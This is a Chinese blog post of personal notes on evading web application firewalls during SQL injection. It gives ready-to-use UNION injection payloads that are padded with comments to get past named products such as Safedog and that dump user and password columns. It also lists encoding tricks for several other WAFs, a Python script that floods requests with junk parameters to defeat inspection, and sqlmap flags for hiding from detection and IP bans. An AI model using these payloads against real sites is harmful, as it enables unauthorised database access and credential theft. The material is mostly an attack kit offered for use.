• sql bypass


    学习链接

    sql bypass
    http://drops.xmd5.com/static/drops/tips-7883.html
    sql科普文
    http://drops.xmd5.com/static/drops/web-16972.html

    常见的waf

    百度云加速、云锁、360网站卫士、腾讯云、安全狗、安全宝、启明星辰、知道创宇、天融信、cloudflare
    潜规则:
    百度云加速免费版节点基于CloudFlare
    安全宝和百度云加速规则库相似
    创宇云安全和腾讯云安全规则库相似
    腾讯云安全和门神规则库相似
    硬件waf自身漏洞往往一大堆

    mysql

    union注入(盲注、DNSlog过不了and过滤那关)

    将空格替换为/!90000aaa/即可(前提是没有禁用information_schema)

    工具扫描

    切换一下user-agent即可

    --delay

    推迟一下,怕被ban ip

    --check-waf

    检查是否有waf

    XFF绕过

    tamper=xforwardedfor.py

    接下来就是特性的绕过(等待具体事例)

    hpp(还未具体实验)

    伪静态与参数绑定

    如果是一个参数,可能存在伪静态
    如果是多个参数+伪静态,则可能是参数绑定

    绕waf检测

    输入单引号看是否被禁用掉,如果没有报错可以尝试union联合注入,然后再测试测试information_schema是否被禁用。
    然后(安全狗bypass):
    -1'union/!90000aaa/select/!90000aaa/1,2/!90000aaa/#
    -1'union/!90000aaa/select/!90000aaa/1,group_concat(column_name)/!90000aaa/from/!90000aaa/information_schema.columns/!90000aaa/where/!90000aaa/table_name='users'/!90000aaa/#
    -1'union/!90000aaa/select group_concat(user),group_concat(password)/!90000aaa/from/!90000aaa/users/!90000aaa/#

    万能bypass

    https://cloud.tencent.com/developer/article/1592593
    https://www.secpulse.com/archives/121202.html

    总结

    1.如果判断是否有sql注入
    GET型 输入单引号,如果没被转换为空,或者没被转义,或者没被参数绑定则说明存在sql注入
    POST型 同理
    2.接下来判断是否可以联合注入,页面是否有回显
    有回显,则union select绕WAF,and注入具体还需看过滤的怎么样
    具体:
    安全狗4.0
    -1'union/!90000aaa/select/!90000aaa/1,2/!90000aaa/#
    -1'union/!90000aaa/select/!90000aaa/1,group_concat(column_name)/!90000aaa/from/!90000aaa/information_schema.columns/!90000aaa/where/!90000aaa/table_name='users'/!90000aaa/#
    -1'union/!90000aaa/select group_concat(user),group_concat(password)/!90000aaa/from/!90000aaa/users/!90000aaa/#
    D盾(测试版本:2017-12-4)
    空格为/DW%2B%26Lt%3B%2B/
    云锁3.1.6
    /%2500/
    只要遇到%2500就不会去检测后面的东西
    安恒waf(版本未知,仅适用于asp)
    利用iis特性

    WTSwaf
    空格用+号代替
    附上(特性的绕过):http://drops.xmd5.com/static/drops/tips-7883.html
    3.万能bypass(针对WAF层的性能)
    python脚本:

    coding=utf-8

    import random,string
    from urllib import parse

    code by yzddMr6

    varname_min = 5
    varname_max = 15
    data_min = 20
    data_max = 25
    num_min = 50
    num_max = 100
    def randstr(length):
    str_list = [random.choice(string.ascii_letters) for i in range(length)]
    random_str = ''.join(str_list)
    return random_str

    def main():
    data={}
    for i in range(num_min,num_max):
    data[randstr(random.randint(varname_min,varname_max))]=randstr(random.randint(data_min,data_max))
    print('&'+parse.urlencode(data)+'&')

    main()
    如果是POST型就直接把垃圾数据放到你要注入的字段前后,如果是GET型就把他转为POST型再放垃圾数据
    GET型还是要看服务器能够支持的Url长度,POST型的话6kB-10KB就能绕过狗了
    4.sqlmap bypass
    一、绕过脚本
    具体情况具体使用
    二、user-agent
    --random-agent,防止waf根据user-agent头拦截
    三、--delay
    --delay,防止waf判断为CC攻击
    四、--proxy
    --proxy,设置代理,这样就不怕搬ip了
    五、XFF绕过
    tamper=xforwarededfor.py

  • 相关阅读:
    【Lintcode】91 最小调整代价
    【LintCode】29 交叉字符串
    十二、动态规划
    HttpClient的简单使用
    ajax跨域请求
    session共享
    八大排序算法
    MAC 脚本批量启动应用
    知识点整理-bio、nio的简单demo
    知识点整理-数组如何实现随机访问?
  • 原文地址:https://www.cnblogs.com/lyxsalyd/p/12577087.html
Copyright © 2020-2023  润新知